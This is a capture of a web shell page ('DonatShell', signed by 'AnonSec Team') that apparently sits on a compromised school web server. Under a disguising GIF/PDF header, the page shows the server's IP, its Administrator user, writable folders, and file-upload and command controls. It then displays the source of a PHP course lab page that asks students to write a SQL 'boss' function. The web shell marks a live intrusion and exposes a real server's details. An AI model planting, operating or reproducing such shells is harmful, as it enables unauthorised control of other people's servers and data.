GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1602/Labs/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1602/Labs/Lab09/Lab09.phpinc
<?
// JimMartinson/CST1602/Labs/Lab06/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

?>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to create a function.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.
<ol class="count">
	<li>
		Write a script that does the following:
		<ol>
			<li>Uses the <b>classicmodels</b> database.</li>
			<li>Create a function named <b>boss</b> that returns the following:
				<ul>
					<li>If the employee has a supervisor, return the supervisor's name. <note>This must be the supervisor's full name (first and last).</note></li>
					<li>If the employee does not have a supervisor, return the value <b>self</b>.</li>
				</ul>
			<li>Save the script as <b class="copyText"><?=$saveFilename?>-Boss.sql</b> in your <b><?=$evaluationName?></b> folder.</li>
			<li>Run the <b><?=$saveFilename?>-Boss.sql</b> to create the function.</li>
		</ol>
	</li>
	<li>Show that the <b>boss</b> function works.
		<ol>
			<li>Run the sql:<br><code class="copyText">SET @eId = 1056;
<br>SELECT firstName, lastName, boss(@eId) FROM employees WHERE employeeNumber = @eId;</code></li>
			<li>
				Take a screenshot and save it as <b class="copyText"><?=$saveFilename?>-a.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br><img src="images/a.png" width="900" height="513" alt="Example screenshot"/><br><? showEnd(); ?>
			</li>
			<li>Change the value of @eId to <span class="codechange copyText">1002</span> and re-run the sql code.</li>
			<li>
				Take a screenshot and save it as <b class="copyText"><?=$saveFilename?>-b.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br><img src="images/b.png" width="900" height="513" alt="Example screenshot"/><br><? showEnd(); ?>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> folder:
				<ol type="a">
					<li><?=$saveFilename?>-Boss.sql</li>
					<li><?=$saveFilename?>-a.png.</li>
					<li><?=$saveFilename?>-b.png.</li>
				</ol>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
  </li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br><? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
#require('../../ReferencesResources.phpinc');
#require('JimMartinson/ContactInformation.phpinc');
require('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team